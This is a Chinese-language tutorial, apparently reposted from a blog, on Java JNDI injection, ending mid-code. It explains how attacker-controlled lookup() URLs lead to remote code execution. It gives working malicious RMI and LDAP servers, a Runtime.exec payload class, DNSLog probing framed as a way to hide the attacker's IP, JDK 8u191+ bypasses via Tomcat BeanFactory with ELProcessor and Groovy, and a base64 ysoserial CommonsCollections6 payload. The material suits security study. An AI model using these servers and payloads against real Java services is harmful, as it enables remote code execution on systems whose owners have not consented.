原文:https://www.cnblogs.com/LittleHann/p/17768907.html
一、JNDI 简介
JNDI是什么
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。
协议 |
作用 |
LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI |
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS |
域名服务 |
CORBA |
公共对象请求代理体系结构 |
J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。
JNDI解决了什么问题
没有JNDI之前,对于一个外部依赖,像Mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。有了JNDI后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。
二、JNDI注入原理分析
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数被外部攻击者可控,攻击者就可以将恶意的 url
传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。
一个简单的漏洞代码示例如下,
1 2 3 4 5 6 7 8 9 10 11
| package org.example; import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/Exploit"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。
服务端攻击代码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("Exploit",wrapper); } }
|
我们深入到源码级别研究一下产生漏洞的原因。 先关注受攻击客户端。
InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。
1
| InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用
|
lookup(String name) 获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:1099/Exploit 所以会通过 rmi 协议访问 127.0.0.1:1099/Exploit
1 2
| String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量 initialContext.lookup(uri); // 获取指定的远程对象
|
由于 lookup()
参数可控,导致漏洞的出现,跟进代码如下,
以LDAP为例,获得远程LDAPServer的Entry之后,跟进跟进com/sun/jndi/ldap/Obj.java#decodeObject,
按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,
- 该对象可能是序列化的对象
- 也可能是一个Reference对象
这里先分析Reference对象的处理流程。
当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
如果LDAP Server返回的属性里包括了 objectClass
和 javaNamingReference
,将进入Reference的处理函数decodeReference上。
decodeReference再从属性中提取出 javaClassName
和 javaFactory
,最后将生成一个Reference。这里生成的ref就是在RMI返回的那个ReferenceWrapper,后面这个ref将会传递给Naming Manager去处理,包括从codebase中获取class文件并载入。
这里继续分析Serialized Object序列化对象的处理流程。
在com/sun/jndi/ldap/Obj.java#decodeObject上还存在一个判断,
如果在返回的属性中存在 javaSerializedData ,将继续调用 deserializeObject 函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原,如下payload。
1
| @Override protected void processAttribute(Entry entry){ entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaSerializedData", serialized); }
|
接下来分析服务端攻击代码所使用的Reference类,Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。
在上面服务端代码中,reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。
以上就是JNDI注入的基本原理(核心就是远程对象解析引发的对象重建过程带来的风险调用链问题),但是JNDI注入并没有这么简单,因为java在漫长的迭代生涯中一直在添加新的补丁特性,使得JNDI的利用越来越困难(主要是禁用了从远程加载Java对象),而同时安全研究员也在不断研究出新的绕过利用方式(主要是寻找本地gadgets)。
三、JNDI注入漏洞复现
这一章采用最基础的远程reference对象注入,本章中的代码将作为后续章节的基础。
JNDI+RMI 复现
漏洞利用过程归纳总结为:
由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。
1、项目代码编写
新建maven项目,
在 /src/java 目录下创建一个包,包名为 jndi_rmi_injection,
在创建的jndi_rmi_injection包下新建 rmi 服务端和客户端,
服务端(RMIService.java)代码,服务端是攻击者控制的服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778); Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("RCE",wrapper); } }
|
服务端端恶意载荷(Calculator.java)代码
1 2 3 4 5 6 7
| package jndi_rmi_injection;
public class Calculator { public Calculator() throws Exception { Runtime.getRuntime().exec("open -a Calculator"); } }
|
笔者使用的是 mac 的环境,执行弹出计算器的命令为”open -a Calculator“,若为Windwos 修改为”calc“即可。
客户端(RMIClient.java)代码,客户端代表存在漏洞的受害端。
1 2 3 4 5 6 7 8 9 10 11 12
| package jndi_rmi_injection;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class RMIClient { public static void main(String[] args) throws NamingException{ String uri = "rmi://127.0.0.1:7778/RCE"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
2、启动RMI服务
将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,
在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致。
1
| python3 -m http.server 8081
|
先运行攻击者可控的RMI服务端,用于接受来自己客户端的lookup请求,
3、启动包含lookup功能的客户端服务,即启动存在被漏洞利用风险的服务
运行客户端,模拟被攻击者JNDI注入过程,远程获取恶意类,并执行恶意类代码,实现弹窗。
JNDI+LDAP 复现
攻击者搭建LDAP服务器,需要导入unboundid依赖库。
在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,
LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package jndi_rmi_injection;
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。
1 2 3 4 5 6 7 8 9 10 11 12
| package jndi_rmi_injection;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class LDAPClient { public static void main(String[] args) throws NamingException{ String url = "ldap://127.0.0.1:1234/Calculator"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
|
HTTP 端恶意载荷(Calculator.java)代码和上一小节保持不变。
将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 LDAPServer.java 的 Reference 里面的链接端口一致。
先启动服务端,
再启动客户端。
JNDI+DNS 复现
通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。
为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。
漏洞端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package jndi_ldap_injection;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class LDAPClient { public static void main(String[] args) throws NamingException{ String url = "dns://192rzl.dnslog.cn"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }
}
|
填入 DNSLog 平台域名,或自己搭建的平台域名,执行程序。
参考链接:
1 2 3
| https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://xz.aliyun.com/t/12277#toc-5 https://evilpan.com/2021/12/13/jndi-injection/#remote-class
|
四、不同JDK版本中JNDI注入存在的限制及绕过方法
Java JNDI注入有很多种不同的利用载荷,而这些Payload分别会面临一些限制。
我们来整理一下,关于jndi的相关安全更新:
- JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
- Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为true
在最新版的jdk8u上,jndi ldap的本地反序列化利用链 1 和 2 的方式仍然未失效,jndi rmi底层(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的时候,可以试试利用本地ClassPath里的反序列化利用链来达成RCE。但前提是需要利用一个本地的反序列化利用链(如CommonsCollections、EL表达式等)。
我们接下来按照java版本的演进分别分析JNDI注入的方法。
在实验前,要准备好不同版本的jdk方便测试。
6u45/7u21之前/JDK版本低于1.8.0_191
在这个版本之前,JNDI注入的利用条件是最宽松的,如果攻击者可以控制lookup()的返回内容,就可以很容易地把返回内容设置成一个远程Java对象下载地址,以此触发远程对象加载。
我们创建一个恶意的RMI服务器,并响应一个恶意的远程Java对象下载地址。编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778); Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("RCE",wrapper); } }
|
我们创建了一个javax.naming.Reference的示例,把这个示例绑定到”/RCE“地址上,这个Export对象对目标服务器会从”http://127.0.0.1:8081/Calculator.class“这里获取字节码,从而触发1个RCE。
上面的代码在Java 8u121 Oracle添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击。
Java 8u121 Oracle添加的限制和Codebase机制有关。Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。
当RMI对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。
RMI客户端在 lookup() 的过程中,
- 会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载
- 然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象。远程Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。
当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:
1
| http://url:8080/com/project/test.class
|
但是,从Java 8u121 Oracle后,rmi的trustURLCodebase默认设置为false,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
Changelog:
具体被阻断在于步骤4,如下图。
虽然rmi远程类加载默认被禁用了,但是在8u191之前,ldap的trustURLCodebase还是默认为true的。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。
Java对象在LDAP目录中也有多种存储形式:
- Java序列化
- JNDI Reference
- Marshalled对象
- Remote Location(已弃用)
LDAP可以为存储的Java对象指定多种属性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
- …
这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package jndi_rmi_injection;
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
这导致JNDI远程类加载问题被修复。自此也就意味着远程codebase的Reference方式被限制死了。
之后攻击者利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高,要求系统中存在gadgetl类。
JAVA 8u191之后
1、找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令
JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类,这个类时用于从攻击者控制的Reference对象中提取真实的对象。
这个工厂类需要满足以下几个条件:
- 真实对象要求必须存在目标系统的classpath
- 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法
接下来的问题就是,我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。
org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能,
- org.apache.naming.factory.BeanFactory 默认存在于Tomcat依赖包中,所以使用也是非常广泛
- org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的
配置jdk 8b192,
org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射创建bean的代码。
这里利用BeanFactory工厂类加载ELProcessor类,
取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且填充了一个string类型的参数作为method的反射调用,最后通过method名和一个string的参数拿到eval函数。
这里使用的魔性属性时“forceString”, 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。
同时,Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。
ELProcessor_rmi_server.java服务端代码如下,服务端是攻击者控制的服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package jndi_rmi_injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef;
public class ELProcessor_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "a=eval")); resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
|
BeanFactory 创建了一个任意bean类实例并执行了它所有的setter函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。基本上相当于一个任意类后门了。
除了el表达式之外还有groovy也可以,原理一样,代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package jndi_rmi_injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef;
public class ELProcessor_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
|
maven配置好grovvy的包依赖,
2、从JNDI服务远程获取一个Java反序列化对象,利用反序列化Gadget完成命令执行
LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。
其中具体的处理代码如下:
1 2 3 4
| if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte[])attr.get(), cl); }
|
我们假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload:
下载链接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
1 2 3
| java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4
|
LDAP Server关键代码如下,我们在javaSerializedData字段内填入刚刚生成的反序列化payload数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package jndi_rmi_injection;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.text.ParseException;
public class ldap_javaSerializedData_server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor { public OperationInterceptor () { }
